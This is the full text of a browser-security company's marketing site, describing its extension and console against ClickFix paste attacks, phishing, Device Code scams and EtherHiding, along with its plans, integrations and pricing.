# ByteMantle — full text of https://bytemantle.com > The text of every public page of bytemantle.com, generated from the pages themselves when the site is built (2026-11-12). The short overview with links is at https://bytemantle.com/llms.txt. --- ## ByteMantle — Browser security for people and companies Address: https://bytemantle.com/ Updated: 2026-11-12 > Stops ClickFix, phishing and Device Code attacks in Chrome and Edge before anything runs, and gives your security team one console: incidents, the exposure of the sites your people use, SIEM, ServiceNow and an API. Browser protection — free at home, one console at work ### Stop browser attacks before anything runs. Fake CAPTCHAs, phishing pages, Device Code scams and brand-new look-alike sites — stopped inside the browser, before anything runs. Core protection is free for everyone. At work, your team also gets the exact command and the full attack chain in one console. [Get the extension — free](https://chromewebstore.google.com/detail/bkplloeajblikjdffgdepnhicgajfhcd) [See how it works →](https://bytemantle.com/platform/) ByteMantle is a **browser detection and response** platform: a free extension that stops attacks inside Chrome and Edge, and a console where your security team sees every incident with its whole chain, the exposure of the sites your people use, and sends it all to your SIEM, ServiceNow or your own tools. **Detection runs locally.** No new browser, no proxy, no SASE project. Works in Chrome and Edge. At home — free ##### Free protection for your own browser Stops fake CAPTCHAs and copy-paste attacks, and warns you about brand-new and look-alike websites. No account needed; detection runs on your computer. [Protection for home →](https://bytemantle.com/home/) At work — the console ##### Protection your team can see and control Every attack as one incident with the full chain, signed policies for your fleet, SIEM forwarding — and on Enterprise, the exposure of the supplier sites your people use. [For Business →](https://bytemantle.com/business/) · [Enterprise →](https://bytemantle.com/enterprise/) **47%** of initial-access cases in Microsoft Defender Experts notifications used ClickFix [Microsoft Digital Defense Report 2025](https://www.microsoft.com/en-us/security/security-insider/threat-landscape/microsoft-digital-defense-report-2025) **37×** more Device Code phishing pages in 2026 after the EvilTokens kit went on sale [Cloud Security Alliance, April 2026](https://labs.cloudsecurityalliance.org/research/csa-research-note-oauth-device-code-phishing-surge-20260405/) **17,000** compromised URLs serving ClickFix lures resolved from a blockchain contract [CTM360, September 2026](https://thehackernews.com/2026/09/17000-urls-reveal-how-clickfix-turns.html) See it in two minutes #### The browser is your blind spot. Here is how ByteMantle closes it. 2:28 · played from this site, nothing loads until you press play · also on [YouTube](https://youtu.be/QWZV_4UEefI) One attack, one incident #### Not just a blocked page. The whole attack, on one map. Most tools stop at the URL. ByteMantle follows the attack: where the user came from, every redirect, the scripts the page loaded, and every other device that reached it — joined into one incident with a verdict. - See how the user got there, not only where they ended up - The same kit on other sites, the same page on other devices - 16 correlation rules, mapped to MITRE ATT&CK Platform #### Eight layers of protection, one console Every layer starts in the browser, on the endpoint, where cloud proxies and email gateways can’t see. [Paste & Command DefenseSee the exact command an attacker tried to make your user run — decoded, explained and mapped to MITRE. 92 rules across Windows, macOS and Linux, on every clipboard write path.](https://bytemantle.com/threats/clickfix/) [Identity PhishingDevice Code phishing (Microsoft, Google, GitHub, AWS, Okta), browser-in-the-browser and blob phishing.](https://bytemantle.com/threats/device-code-phishing/) [Infrastructure IntelligenceDomain Age Guard, redirect cloakers and fleet-wide website risk scoring.](https://bytemantle.com/threats/phishing/) [Web3 & RPC ShieldDetects EtherHiding, flags risky wallet approvals and profiles every contract your browsers call.](https://bytemantle.com/threats/etherhiding/) [Service WorkersFinds and removes malicious workers that keep a lure alive after the tab is closed.](https://bytemantle.com/platform/#service-workers) [Attack-Chain Correlation16 correlation rules turn scattered signals into one incident with a verdict.](https://bytemantle.com/platform/#correlation) [IntegrationsSIEM forwarding (Splunk, Elastic, Microsoft Sentinel, CEF), ServiceNow incidents and a Read API for your own tools.](https://bytemantle.com/docs/api/) [Technology & ExposureThe software behind the sites your people use, matched with known and exploited vulnerabilities and end of support. Enterprise.](https://bytemantle.com/enterprise/) For security teams #### Your team sees what the browser saw. The console turns browser events into investigations: the command, the infrastructure, the chain, and every other device that met the same payload. - Correlated incidents with MITRE ATT&CK and a clear verdict - Intelligence and payload prevalence across your fleet - Deploy in minutes with Group Policy, Intune or Google Admin — no new browser - One signed policy per organisation and your own warning page with “Report to IT” - EU-hosted, or run the console on your own server [See the console →](https://bytemantle.com/business/) Exposure · Enterprise #### Know the weak spots of the sites you depend on. Your own sites, your suppliers and your customers: the software behind each one, matched with known and exploited vulnerabilities and end of support — learned from the sites your people really use, with no scanning. - An exposure score for your sites, your suppliers and your customers - Critical suppliers ranked by how much your people use them - An alert when a declared site changes, and a report to send to the supplier - A register of ICT third parties for NIS2 and DORA [See Enterprise →](https://bytemantle.com/enterprise/) What the console gives your security team #### More than a blocker: one place for every browser attack. [Incidents and the whole attack chainEvery attack becomes one incident: the site, the lure, the infrastructure, the command it tried to run, mapped to MITRE ATT&CK, with every other device that met it.](https://bytemantle.com/platform/#correlation) [Technology & Exposure of the sites your people useThe software behind your suppliers' and SaaS sites, matched with known and exploited vulnerabilities and end of support; an exposure score, a register of ICT third parties for NIS2 and DORA. Enterprise.](https://bytemantle.com/enterprise/) [SIEM, ServiceNow and the Read APIThreat events to Splunk, Elastic, Microsoft Sentinel or any webhook within a minute; an incident in ServiceNow for every attack; a Read API for reports, dashboards and AI assistants.](https://bytemantle.com/docs/api/) [Policy, groups and fleetOne signed policy per organisation or group, deployment with Group Policy, Intune or Google Admin, browsers behind on updates, and your own warning page with "Report to IT".](https://bytemantle.com/business/) Why teams choose us #### Built for the companies the giants don’t build for. ByteMantle Typical enterprise suite Stops ClickFix before the command runs In the browser, at the paste Often after PowerShell starts Shows the decoded command as evidence Yes, with rule and MITRE Varies EtherHiding / smart-contract lures Detected and correlated Rarely documented Sized and priced for everyone Free for one browser, plans up to large fleets Enterprise contract Where your data lives EU or self-hosted Vendor cloud #### Latest research [One smart contract, a new payload server every few daysA domain 13 hours old at its first use, then a new one: why block lists fall behind.Read the research →](https://bytemantle.com/research/one-smart-contract-new-payload-host/) [The ClickFix beaconThe fake CAPTCHA command that reports you to Google Apps Script before the download.Read the research →](https://bytemantle.com/research/clickfix-beacon-fake-captcha-profiles-you/) [ClickFix report: 5–11 November 202632 hacked sites, 11 smart contracts, the commands and where they download from.Read the report →](https://bytemantle.com/research/clickfix-report-2026-11-11/) [All research and guides →](https://bytemantle.com/research/) #### Want to see it on your own browsers? Free protection for everyone; trials, proofs of concept and pilots for teams. [Talk to us →](https://bytemantle.com/contact/?topic=pilot) --- ## Browser security platform — protect and investigate Address: https://bytemantle.com/platform/ Updated: 2026-11-11 > Protection in every browser and a console that shows each attack as a story: ClickFix, phishing, Device Code, EtherHiding, policies and SIEM, plan by plan. ### Stop the attack in the browser. Understand it in one screen. ByteMantle works where today’s attacks happen: in the clipboard, in the page and in the scripts the page runs. The extension stops the attack before your people can be talked into it; the console turns what happened into one clear story your team, your SIEM and your AI assistant can act on — at a fraction of the cost of enterprise security suites. See it in two minutes #### The browser is your blind spot. Here is how ByteMantle closes it. 2:28 · played from this site, nothing loads until you press play · also on [YouTube](https://youtu.be/QWZV_4UEefI) What each plan gives you #### Pick the depth you need. Everything grows with you. ##### Pro For individuals and small teams who want real protection and a console without an IT project. - ClickFix, phishing, Device Code sign-in and crypto-wallet lures stopped in the browser - Every incident as a story: where the user came from, the redirects, the site, the command, the outcome - Investigation graph, Intelligence and Artifacts across your browsers - SIEM forwarding, STIX 2.1, PDF and AI-ready incident exports ##### Business For companies that manage a fleet and want control, not just alerts. - Everything in Pro, for the whole organisation - Groups and signed policies, your own warning page, your own blocked sites and indicators - Resource Lineage: which third parties your pages really load - Dashboards and scheduled PDF reports for management ##### Enterprise For security teams that want to see their exposure and feed their own tools. - Everything in Business - Technology & Exposure: the software behind the sites your people use, its known vulnerabilities and end of support - Web3 and smart-contract intelligence, EtherHiding included - Read API for your own tools and AI agents, 365 days of history The comparison of every plan is on [Plans](https://bytemantle.com/pricing/#compare). Free keeps the core protection on for everyone. #### Stopped at the paste Free and every plan ClickFix attacks talk people into pasting a command into Run, a terminal or the File Explorer address bar. By the time an endpoint tool sees PowerShell start, the user has already done the attacker’s work. ByteMantle reads every way a page can write to the clipboard, de-obfuscates the text, matches it against 92 command rules for Windows, macOS and Linux and replaces it with a harmless message — nothing is left to paste. - **Your benefit:** the most common way into companies today is closed at the one moment it can be closed, with no change to how people work. - **Evidence, not noise:** the decoded command, the rules, the MITRE techniques and the site that served it — the commands developers copy every day stay quiet. [How ClickFix works and how we stop it →](https://bytemantle.com/threats/clickfix/) #### Identity phishing Pro and up Device Code phishing, adversary-in-the-middle kits for Microsoft and ten more identity providers, browser-in-the-browser windows, pages built in memory and sign-in forms on brand-new domains — also those without a password field (e-mail first, one-time code, QR). - **Your benefit:** the sign-in your people trust is the one attackers copy. ByteMantle recognises the copy by how it is built and where it is served from, not by a list that is always a day late. [Device Code phishing explained →](https://bytemantle.com/threats/device-code-phishing/) · [Phishing pages →](https://bytemantle.com/threats/phishing/) #### The whole attack story Pro and up Every incident opens with the story of what happened, in order: **where the user came from** (a search, web mail, another site, a typed address), **the redirects** that led to the page, the site and how old it is, **which script loaded which** — the page’s script that pulled in the attacker’s — the lure, the command, and how it ended. - **Your benefit:** one screen answers the questions management and auditors ask — how did it start, how far did it go, was it stopped — without hours of digging through logs. - Sixteen real-time correlation rules join the signals of one tab and site into one verdict, each mapped to MITRE ATT&CK. #### Investigation graph & campaigns Pro and up The investigation graph shows, around any site, device, incident, command or indicator, everything it is connected to: the sites a page loads and redirects to, the scripts that load other scripts, the devices that met it, the commands it wrote and where they download from. One click expands the next step. - **Campaigns and the campaign map:** sites that share the same smart contract, payload host, Firebase project, worker script or decoded loader are grouped into one infrastructure, drawn as a map. One attacker behind ten sites becomes one finding, not ten. - **Your benefit:** you see the operation, not the single page — and block it once. - The graph exports as JSON, a drawing (SVG) or a STIX 2.1 bundle for your threat-intelligence platform. #### Technology & Exposure Enterprise Your people work every day on suppliers’ portals, shops and SaaS sites you do not control. With Technology & Exposure on, the browsers report the software and versions those sites announce — web servers, languages, content management systems and their plugins, JavaScript frameworks and libraries — and the console matches them with known vulnerabilities, the vulnerabilities known to be exploited in the wild and end-of-support dates. - **Your benefit:** know which of the sites your company depends on run outdated or exposed software, and who used them recently — before an attacker uses them against you. - **Check an advisory:** when a new vulnerability is announced, see in seconds which sites your people use report an affected version, without a new scan. - Honest wording: reported versions and possible vulnerabilities, with distribution builds marked — a decision aid, never a false verdict. #### Service workers Every console plan A malicious site can leave a service worker behind that keeps running after the tab is closed and serves the lure again later. ByteMantle scores each site’s workers and removes the suspicious ones — from the browser, or from the console for one browser, a group or every browser that met the worker. - **Your benefit:** the attack does not come back next week from a browser you thought was clean. #### Intelligence & Artifacts Pro and up - **Intelligence:** every site your browsers meet, scored with its age, its links to other sites, the devices that saw it and your team’s verdicts. - **Artifacts:** the fingerprints (SHA-256) of commands, scripts and evidence, with how many devices and sites they appear on. - **Your benefit:** your own threat intelligence, built from what really reached your people. #### Web3 & EtherHiding Enterprise Attackers hide the address of their next stage in a smart contract, so it cannot be taken down. ByteMantle sees a page that reads a contract without any wallet activity and gets a web address back — the technique behind thousands of compromised sites serving ClickFix — and joins it to the lure and the clipboard. Risky wallet requests (unlimited approvals, permits, blind signatures) are decoded and recorded; contract intelligence covers seven chains. [EtherHiding explained →](https://bytemantle.com/threats/etherhiding/) #### Your AI, working on real cases Pro and up Many teams now use an AI assistant to triage incidents, write summaries for management or decide the next step. ByteMantle gives it a case it can actually reason about — and keeps it safe while doing so. - **One incident, ready for an AI:** the summary and verdict, the attack story, the timeline, every event with the rule that matched and why, the decoded command, where the user came from and the redirects, the scripts that loaded other scripts, the site’s intelligence, the campaign it belongs to, the graph and your team’s notes. - **Safe by construction:** everything the attacker wrote — commands, page text, addresses — is fenced and labelled as untrusted data, never as instructions, so a page cannot steer your assistant (prompt injection). - **Private on request:** user names, device names, host names, e-mail addresses and URL parameters are masked; the raw evidence is included only if you choose. Each export carries your classification label and is written to the audit log. - **Rule analysis for tuning:** one line per event with what each rule matched and what your analysts decided, so an AI can help you find and remove false alarms. - **Read API** Enterprise: your own AI agents query incidents, events and intelligence directly, with scoped, rate-limited keys. **How it fits together:** the extension sees and stops the attack where it happens; the console joins what every browser saw into one case; your AI turns that case into the triage, the summary or the hunting question your team needs. Each part does what it is best at. #### SIEM, STIX & reports - **SIEM forwarding** Pro and up: events to Splunk (HEC), as CEF lines, or as JSON to any HTTPS webhook (Elastic, Microsoft Sentinel through Logic Apps). The copy is minimized: evidence travels as a SHA-256, never as text. - **STIX 2.1** Pro and up: incidents and graphs as standard bundles with TLP marking, for MISP, OpenCTI and your SIEM’s threat-intelligence store. - **Incident reports** Pro and up: PDF with the attack story and the graph, structured JSON, or a ZIP with SHA-256 checksums for the chain of custody. - **Dashboards and scheduled PDF reports** Business and up by e-mail, and every list exports to CSV. - **Your benefit:** ByteMantle fits into the tools your team already watches instead of adding one more screen. #### Your organisation in control Business and up - **One signed policy** per organisation or group, in every plan with a console: every protection set to Active, Monitor or Disabled, internal domains exempt from the new-domain checks. - **Your own warning page:** your title, message, logo and help-desk contact, which buttons users may press, and a one-click **Report to IT**. - **Threat indicators and blocking:** our signed indicator lists reach every browser automatically; add your own domains, addresses and file hashes, and block a site for everyone in one click. - **Resource Lineage:** the third-party resources your pages load, for investigations — off until your organisation turns it on. - **Notices from us** in the console: releases, security advisories and maintenance reach your administrators where they work. - **For providers:** a provider console for MSPs that manage many client organisations. #### Why this combination Large security suites see the network or the endpoint; browser products often stop at blocking a page. ByteMantle brings together what usually takes several products and a long project: | What you get | Why it matters | | --- | --- | | Detection inside the page, at the clipboard and in the scripts | The attack is stopped before the user acts, not after a process starts | | The whole story: source, redirects, script chain, lure, command, outcome | One screen instead of a log hunt across tools | | Campaigns and a graph across your browsers | One attacker, one finding, one block | | Exposure of the sites your people depend on | Supplier risk you can see, without scanning anyone | | AI-ready, injection-safe incident exports, SIEM and STIX | Works with the people, tools and assistants you already have | | Hosting in the European Union or on your own server | Your data stays where your obligations are | | Deployed in minutes with Group Policy, Intune or Google Admin | Value on day one, at a fraction of the cost of enterprise security suites | #### Built secure, private by design - Every browser has its own non-exportable key and signs every request; rules, policies, licences and console commands are signed and checked before the extension acts. - Two-step sign-in, viewer / analyst / admin roles, a full audit log and sign-in limited to your networks or countries. - Detection runs locally and keeps working offline; detections are sent only when you or your organisation connect the browser. Evidence is minimized by default. [What we collect — and what we don’t →](https://bytemantle.com/trust/) #### Labs & roadmap Not generally available yet, shown for transparency: extension risk control, download protection and data-leak protection for uploads and AI prompts, corporate password reuse protection, external reputation feeds. #### Want to see it on your own browsers? Free protection for everyone; trials, proofs of concept and pilots for teams. [Talk to us →](https://bytemantle.com/contact/?topic=pilot) --- ## For home — free browser protection for you and your family Address: https://bytemantle.com/home/ Updated: 2026-11-09 > Fake CAPTCHAs, brand-new look-alike shops and fake sign-in pages, stopped in Chrome and Edge. Free core protection, no account needed, detection runs on your computer. ### Safer browsing at home. Free, and in plain language. Scam pages rarely look like scams. They look like a CAPTCHA, your bank or a shop you know. ByteMantle sits in Chrome or Edge and steps in at the moment a page tries to trick you — before anything runs. [Get the extension — free](https://chromewebstore.google.com/detail/bkplloeajblikjdffgdepnhicgajfhcd)What is free → **No account needed.** Detection runs on your computer and keeps working offline. Free · Fake CAPTCHA #### “Press Windows + R and paste to prove you are human.” No real check ever asks this. When you clicked the box, the page secretly copied a command. Pasting it and pressing Enter would install a program that steals your passwords. - ByteMantle recognises the fake check and the command, before you act - The command on your clipboard is replaced with a harmless message, so even a paste does nothing - A plain warning tells you what the site tried to do, with one button back to safety - Works on Windows, macOS and Linux commands [Read the guide: what to do if you already pasted →](https://bytemantle.com/research/fake-captcha-windows-r/) Three more situations you may recognise #### The tricks change. The moment they need you is the same. ##### A shop or bank site you have never seen A great deal, a “final reminder” to pay, a bank page with a name that is almost right. ByteMantle warns you when a site was registered only recently or imitates a name you know, so you can stop before you pay or sign in. Free ##### A sign-in page that is not what it seems A copy of your Microsoft or Google sign-in, or a page that asks you to “enter this code” to give another device access to your account. You get a clear warning before you type a password or a code. Free trial and Pro ##### A wallet request that could empty your wallet A site asks your crypto wallet for an unlimited approval, a permit or a blind signature. ByteMantle reads what is really being asked and flags the dangerous requests — as critical when the site is brand-new or has shown attack signs. Your wallet still asks you to confirm. Free trial and Pro What you get #### Free for good. Try everything for 14 days. ##### Free No account, no time limit. - ClickFix and FileFix: malicious copy-paste commands stopped at the paste - Clipboard shield with local evidence - Alerts for brand-new and look-alike websites - Trusted sites and local history in your browser [Get the extension](https://chromewebstore.google.com/detail/bkplloeajblikjdffgdepnhicgajfhcd) ##### Free 14-day trial With a free account and a confirmed e-mail address. No payment details. - Everything in Free - Phishing pages, including those that steal your session after you sign in - Device Code sign-in phishing (“enter this code”) - QR-code phishing and tech-support scams - Crypto-wallet protection - Your own web console: incidents, threat events and your devices [Create a free account](https://console.bytemantle.com/account.php?p=register) When the trial ends, the browser goes back to Free by itself. To keep the extra protection, see [Plans](https://bytemantle.com/pricing/). Privacy in short #### It protects you. It does not watch you. - Detection runs inside your browser and keeps working offline - No keystroke logging: what you type, your passwords and form contents are never sent - On the welcome page, you choose: connect for ByteMantle Threat Intelligence, with or without an account, or keep everything on your device - No selling of data, ever [What we collect — and what we don’t →](https://bytemantle.com/trust/) The full details are in our [privacy policy](https://bytemantle.com/legal/privacy/). #### Install it in a minute 1. Open the extension page in the [Chrome Web Store](https://chromewebstore.google.com/detail/bkplloeajblikjdffgdepnhicgajfhcd). It works in Chrome and Microsoft Edge. 2. Select **Add** and confirm. Protection is on at once. 3. Pin the extension so you can see its status. 4. On the welcome page, create a free account to start the 14-day trial, or continue without an account. Need more help? See the [install guide](https://bytemantle.com/docs/#install). #### Questions **Is it really free?** Yes. The Free protection needs no account and has no time limit. It stops malicious copy-paste commands and warns you about brand-new and look-alike websites. **Do I need an account?** No. You only need a free account for the 14-day trial of the extra protection and the web console. No payment details are asked for. **What happens when the trial ends?** The browser goes back to the Free protection by itself. Nothing is charged. Your console data is kept for 30 days, so you can pick up where you left off. **Does it replace my antivirus?** No, it works alongside it. Your antivirus looks at programs after they start; ByteMantle looks at the page and the clipboard before anything runs. **Does it read what I type?** No. There is no keystroke logging, and what you type, your passwords and form contents are never sent. Detection happens inside your browser. #### Stop these attacks before anything runs. Free browser protection for everyone, in Chrome and Edge. One console for your whole company when you need it. [Get the extension — free](https://chromewebstore.google.com/detail/bkplloeajblikjdffgdepnhicgajfhcd) --- ## Browser security for business teams Address: https://bytemantle.com/business/ Updated: 2026-11-04 > Stop browser attacks across your company and see every incident as a story. One policy for every browser; deploy with Intune, Group Policy or Google Admin. ### Your team sees what the browser saw. The extension protects every user on its own. Connect it to the console and your IT or security team gets correlated incidents, the evidence behind them, and fleet-wide context — without deploying a new browser. [Book a demo](https://bytemantle.com/contact/) [See the plans](https://bytemantle.com/pricing/) Incidents #### One incident per attack, not fifty alerts. Events from the same device and site are grouped into an incident with a timeline, the matching rules, MITRE techniques and a verdict from the correlation engine. - Attack chain in order of appearance - Triage status, assignee and analyst notes - Same site on other devices, at a glance Evidence #### The command, not just “blocked”. Every event keeps the evidence your team needs: the decoded command, what the clipboard was replaced with and whether that was verified, the SHA-256 and how many devices and sites saw the same payload. - Evidence shown as inert text — never rendered - Hunt by domain, URL, SHA-256, contract address or rule - CSV export for reports and tickets - Whole-incident export (PDF, JSON, text for AI) with your classification label Everything in the console #### Built for a small team that has to cover everything. ##### Incidents & correlation Grouped by device and site within 30 minutes, with the sensor’s own correlation verdicts merged in. ##### Intelligence Risk score per domain from severity, sensor score, event types and the number of devices affected. Analysts can set a verdict. ##### Artifacts & hunting Prevalence of each command and script hash across events, devices and sites. ##### Web3 & RPC RPC endpoints, methods and intents, and the smart contracts your browsers talk to. ##### Devices & enrollment Enrollment tokens per group, device health via heartbeat, versions and queue state. ##### Access & audit Viewer, analyst and admin roles, two-step sign-in (it can be required for everyone), rate-limited sign-in and a full audit log. ##### Command Intelligence Every command attackers tried to make your users run, decoded, grouped and searchable, with the sites and devices that met it. ##### Your own warning page When something is blocked, users see your company’s name, message and IT contact, and can report it to IT in one click. ##### Groups & policies Protections, rule modes (active, monitor, off) and per-site exceptions, set per group and pushed to the browsers. ##### Dashboards & reports Ready-made dashboards, your own queries, and scheduled reports by e-mail with a PDF attached. ##### Read API API keys with limits for your own tools and scripts (Enterprise). ##### Light and dark themes A calm light theme for the office and a dark command-centre theme for the SOC, chosen per user. #### Deploy in minutes 1. Force-install the extension with Group Policy, Intune or the Google Admin console. 2. Push the console address and an enrollment token as managed policy — users do nothing. 3. Devices enroll themselves and events start flowing to your tenant. Devices can also join from the extension’s settings with an enrolment token, and individual users can sign in with an account. #### Integrations - Splunk HTTP Event Collector - Microsoft Sentinel (via Logic Apps) - CEF lines over HTTPS - Generic webhooks - CSV export from every list Forwarded events are minimized: the evidence travels as a SHA-256, never as text. Technology & Exposure · Enterprise #### Know which supplier sites run risky software. Your team works on supplier portals and SaaS sites every day. On Enterprise, the console shows the software and versions those sites report, matched with known vulnerabilities, the ones exploited in the wild and end-of-support dates — and who in your company opened them recently. When a new advisory lands, check it in seconds, without a scan. [See Technology & Exposure →](https://bytemantle.com/enterprise/) #### Questions teams ask **Do we need to replace our browser?** No. ByteMantle is an extension for Chrome and Microsoft Edge and works with your existing profiles and policies. **Does it replace our EDR?** No — it complements it. EDR sees the process after a command runs; ByteMantle sees the page, the clipboard and the lure before anything runs, and gives your EDR the exact command to hunt for. **Where is our data stored?** In the EU when we host the console, or on your own server if you run it yourself. See [Trust & Privacy](https://bytemantle.com/trust/) for exactly what is sent. **What happens if the console is unreachable?** Protection continues locally. Events are queued on the device and delivered when the console is back. #### Want to see it on your own browsers? Free protection for everyone; trials, proofs of concept and pilots for teams. [Talk to us →](https://bytemantle.com/contact/?topic=pilot) --- ## Enterprise — Technology & Exposure of the sites your people use Address: https://bytemantle.com/enterprise/ Updated: 2026-11-04 > See the software and versions behind the supplier and SaaS sites your people use, matched with NVD, OSV, CISA KEV and end-of-support dates. Plus investigation, control, SIEM and EU or self-hosting. ### Your people depend on sites you don’t control. Now you can see what they run. Supplier portals, shops, SaaS tools, partner sites. If one of them runs outdated or exploited software, it can be used against your company. ByteMantle Enterprise shows you which ones, from what your own browsers already see — without scanning anyone. [Talk to us](https://bytemantle.com/contact/?topic=enterprise) [Compare the plans](https://bytemantle.com/pricing/#compare) Technology & Exposure · Enterprise #### Supplier risk you can see, without a scan. With Technology & Exposure on, your browsers report the software and versions the sites your people open announce about themselves. The console matches them with public vulnerability data and tells you where to look first. ##### The software behind each site Web servers, languages, content management systems and their plugins, JavaScript frameworks and libraries — with the version each site reports, per site and across all sites. ##### Known vulnerabilities Each reported version is matched with known vulnerabilities from NVD and OSV, and with CISA’s list of vulnerabilities known to be exploited in the wild. The worst come first. ##### End of support See which sites run a version that no longer gets security updates, and what the latest version is. ##### Check a new advisory in seconds A new CVE is in the news. Type its identifier and see at once which sites your people use report an affected version, and who opened them in the last 30 days. No new scan. ##### Hygiene and changes per site For each site: the protections it was seen to be missing (HTTPS, security headers, a weak Content Security Policy, cookies shared with every subdomain), weak sign-ins (a token in the address, no protection against forged sign-ins), code its service worker loads from other domains, scripts loaded from domains nobody owns, the certificate and TLS (if you turn it on), the scripts on each payment page with an alert when one is added (PCI DSS 4.0), the server and CDN in front, what changed over time, and which devices and users of your organisation opened it. ##### Honest results Reported versions and possible vulnerabilities — never a false verdict. Distribution builds are marked, and a version that is too vague to compare says so instead of guessing. Site technology telemetry is off until your organisation turns it on in its policy. Cookie values, page text and addresses beyond the site name are never sent. See [Trust & Privacy](https://bytemantle.com/trust/). NIS2 · DORA #### Your ICT third-party register, kept up to date by real use. Every supplier your people use, how many of them used it and how — sign-in, payments, file uploads, SaaS — with its findings and their status. Export it when the auditor asks. - Declared suppliers, or every site your browsers saw - Critical suppliers ranked by real use - CSV export for NIS2 Art. 21(2)(d) and DORA Investigation #### One incident per attack, with the whole chain. Every incident tells the story in order: where the user came from, the redirects, the site and how old it is, which script loaded which, the lure, the command and how it ended. - Correlated incidents with MITRE ATT&CK and a clear verdict - Investigation graph around any site, device, incident, command or indicator - Campaigns and the campaign map: one attacker behind ten sites becomes one finding - Intelligence, Artifacts and Command Intelligence across your fleet - Web3 and smart-contract intelligence, EtherHiding included [How investigation works →](https://bytemantle.com/platform/#story) ##### Control - One signed policy per group: every protection Active, Monitor or Disabled - Your own warning page with your logo, help-desk contact and “Report to IT” - Your own blocked sites and indicators; block a site for everyone in one click - Viewer, analyst and admin roles, two-step sign-in, a full audit log - Sign-in limited to your networks or countries ##### Integration - SIEM forwarding: Splunk HEC, CEF lines, JSON webhooks (Elastic, Microsoft Sentinel through Logic Apps) - STIX 2.1 bundles with TLP marking for MISP and OpenCTI - Read API with scoped, rate-limited keys for your own tools and AI agents - ServiceNow: an incident for every ByteMantle incident, with severity, site, browser and a link back - Incident exports: PDF, JSON, AI-ready text, ZIP with checksums - Dashboards and scheduled PDF reports by e-mail [API and integrations guide →](https://bytemantle.com/docs/api/) ##### Deployment and data - Force-install with Group Policy, Intune or Google Admin — no new browser - Devices enrol themselves from managed policy; users do nothing - See which browsers are behind on Chrome and Edge security updates - Check the SPF and DMARC of your own domains: can others send e-mail in your name? - Declare your own, your suppliers' and your customers' domains: an exposure score and its trend for each, critical suppliers ranked by real use, and an alert when one of their sites changes - Export the register of your ICT third parties (CSV / JSON) as input for NIS2 and DORA, and hand a supplier a clean PDF of what to fix - See which SaaS and AI tools your people sign in to, and whether through your company sign-in or a local password - Protection continues locally if the console is unreachable - EU-hosted, or the console on your own server - 365 days of history #### Questions security teams ask **Does Technology & Exposure scan other companies’ sites?** No. It uses only what your own browsers see when your people open those sites as part of their work. When you check an advisory the console does not already know, only its identifier is looked up online; the comparison with your organisation’s sites happens in the console. **Does “possible vulnerability” mean the site is vulnerable?** Not necessarily. A Linux distribution can back-port fixes without changing the version, and a CDN or a firewall can hide the real one. The results tell you what to ask or check, not a verdict. **Which vulnerability sources are used?** NVD, OSV, CISA’s Known Exploited Vulnerabilities catalogue and public end-of-support dates. The console shows when each source last ran. **How do we connect our SIEM, ServiceNow or our own tools?** Your administrator adds a SIEM destination or creates an API key in the console; the [API and integrations guide](https://bytemantle.com/docs/api/) walks through Splunk, Elastic, Microsoft Sentinel, ServiceNow, Excel and Power BI step by step, with examples you can copy. **What is coming next for integrations?** We are working on bringing the Technology & Exposure findings — software versions, possible vulnerabilities and exposure scores — into the Read API, so they can flow into the same tools, and on a ByteMantle app for the ServiceNow Store. **Where is our data kept?** In the European Union when we host the console, or on your own server if you run it yourself. See [Trust & Privacy](https://bytemantle.com/trust/) and the [Data Processing Agreement](https://bytemantle.com/legal/dpa/). #### See the exposure of your own suppliers. Tell us about your fleet and we set up Enterprise for your organisation. [Contact us →](https://bytemantle.com/contact/?topic=enterprise) [See the plans](https://bytemantle.com/pricing/) --- ## Browser threat prevention for MSPs Address: https://bytemantle.com/msp/ Updated: 2026-11-04 > Protect every client's browsers from one console: ClickFix, phishing and Device Code attacks stopped in the browser, with a clear story for each incident. ### One console. Every client’s browsers. Your clients’ users meet ClickFix lures and device-code phishing every week — usually on machines you manage. ByteMantle gives you a lightweight control you can roll out with the tools you already use. [Become a design partner](https://bytemantle.com/contact/) ##### Multi-tenant by design Each client is a separate tenant with its own devices, users and data. A provider console manages every client from one place: plans, seats and features per client, and campaigns seen across clients. ##### Roll out with what you have Group Policy, Intune or Google Admin. With managed policy, the extension enrolls itself into the right client tenant and users cannot change it. ##### Fits your SOC stack Forward events to Splunk, CEF or JSON webhooks, per client. ##### Evidence for client reviews Export what was blocked, on which sites, with the exact commands — useful for client reviews and NIS2 conversations. Scheduled PDF reports go to each client by e-mail, and any incident exports as a PDF or JSON with a TLP label for the client’s team. ##### EU data, or self-hosted Keep client data in the EU, or run the console in your own infrastructure. ##### Partner pricing Volume pricing for managed service providers. Early partners help define the programme. Technology & Exposure · Enterprise #### A concrete topic for every client review. For each client on Enterprise, see which supplier and SaaS sites their people use run software with known vulnerabilities, vulnerabilities exploited in the wild or past its end of support — and who opened them recently. Each client’s results stay in that client’s tenant. [See Technology & Exposure →](https://bytemantle.com/enterprise/) #### Want to see it on your own browsers? Free protection for everyone; trials, proofs of concept and pilots for teams. [Talk to us →](https://bytemantle.com/contact/?topic=pilot) --- ## Plans — free browser protection and team console Address: https://bytemantle.com/pricing/ Updated: 2026-11-03 > Free browser protection for everyone. Pro, Business and Enterprise plans add the console, central policies, longer history, SIEM and investigation. ### Basic protection is free. Pick the plan that fits. Every browser gets the core protection at no cost. Paid plans add phishing, Device Code and crypto-wallet protection, a web console and fleet features. Plans are arranged individually for now: tell us what you need and we reply within one business day. ##### Free €0 For everyone, no account needed. - ClickFix and FileFix: malicious copy-paste commands stopped at the paste - Clipboard shield with local evidence - Alerts for brand-new and look-alike websites - Trusted sites and local history in your browser [Get the extension](https://chromewebstore.google.com/detail/bkplloeajblikjdffgdepnhicgajfhcd) ##### Pro Contact us Individuals and very small teams (up to 5 browsers). - Everything in Free - Phishing-page, Device Code sign-in and crypto-wallet protection - Your web console: incidents, threat events, devices, hunting - Intelligence, artifacts, rules, queries and CSV export - 30 days of history [Start the free 14-day trial](https://console.bytemantle.com/account.php?p=register) Then [contact us](https://bytemantle.com/contact/?topic=pro) to keep Pro. ##### Business Contact us Managed fleets, from 5 browsers. - Everything in Pro, for the whole organization - Deployment with Group Policy, Intune or Google Admin - Groups, policies, rule controls and the organization's own warning page - Resource Lineage, SIEM forwarding, dashboards and scheduled PDF reports - 90 days of history, two-step sign-in for the team [Contact us](https://bytemantle.com/contact/?topic=business) ##### Enterprise Contact us Large fleets and integrations. - Everything in Business - Web3 / RPC and smart-contract intelligence - Read API for your own tools - 365 days of history - EU hosting or your own server [Contact us](https://bytemantle.com/contact/?topic=enterprise) Managed service providers: volume plans per client organization, see [For MSPs](https://bytemantle.com/msp/). 